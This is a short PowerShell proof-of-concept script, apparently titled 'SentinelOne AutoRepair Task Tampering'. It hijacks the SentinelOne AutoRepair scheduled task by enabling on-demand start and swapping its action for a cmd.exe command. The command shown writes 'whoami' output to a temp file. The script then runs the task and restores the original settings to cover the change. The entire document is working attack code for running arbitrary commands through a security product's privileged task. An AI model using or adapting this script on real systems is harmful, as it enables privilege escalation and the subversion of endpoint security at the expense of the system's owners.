SentinelOne AutoRepair Task Tampering

s1_ar_tamper.ps1

# Get the task info
$TaskName = $(get-scheduledtask -TaskName AutoRepair* -TaskPath \Sentinel\).TaskName
$settings = $(get-scheduledtask -TaskName $TaskName -TaskPath \Sentinel\).Settings
$action = $(get-scheduledtask -TaskName AutoRepair* -TaskPath \Sentinel\).Actions

# Tweak settings objects
$new_action = New-ScheduledTaskAction -Execute "C:\Windows\System32\cmd.exe" -Argument "/c whoami > C:\Windows\Temp\IAM.txt"
$settings.AllowDemandStart=$true

# Apply changes
Set-ScheduledTask -TaskPath \Sentinel\ -TaskName $TaskName -Settings $settings
Set-ScheduledTask -TaskPath \Sentinel\ -TaskName $TaskName -Action $new_action

# Run the task
Start-ScheduledTask -TaskPath \Sentinel\ -TaskName $TaskName

# Fix things back up
$settings.AllowDemandStart=$false
Set-ScheduledTask -TaskPath \Sentinel\ -TaskName $TaskName -Settings $settings
Set-ScheduledTask -TaskPath \Sentinel\ -TaskName $TaskName -Action $action